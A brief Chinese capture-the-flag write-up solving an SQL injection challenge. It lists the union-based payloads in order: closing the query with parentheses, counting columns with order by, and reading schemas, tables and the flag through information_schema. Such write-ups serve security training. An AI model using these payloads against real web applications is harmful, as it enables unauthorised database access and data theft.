## 思路
* 狠狠的SQL注入探姬老师的小题目
## EXP
0.尝试正常输入
?id=0
?id=1
?id=2
提示这个是假的flag
?id=3
1.闭合
?id=2))))))%23
2.查看字段数
?id=1)))))) order by 2%23
?id=1)))))) order by 3%23
3.查看回显位
?id=1)))))) union select 1,2 %23
4.查看版本和当前数据库
?id=1)))))) union select version(),database() %23
MariaDB是什么数据库?没见过!百度一下
MySQL的分支?不管,就当作MySQL试一下
5.暴数据库
因为ctf库中,我们已知没有flag,所以我们在别的库中找flag。用到MySQL5.0以上的自带库information_schema
?id=0)))))) union select schema_name,2 from information_schema.schemata %23
6.暴表名
ctftranining很可疑,我们从它开始
?id=0)))))) union select table_name,2 from information_schema.tables where table_schema='ctftraining' %23
flag出现了!
7.暴字段
?id=0)))))) union select column_name,2 from information_schema.columns where table_schema='ctftraining' and table_name='flag' %23
只有一个flag字段
8.查看字段内容,出现flag
?id=0)))))) union select flag,2 from ctftraining.flag %23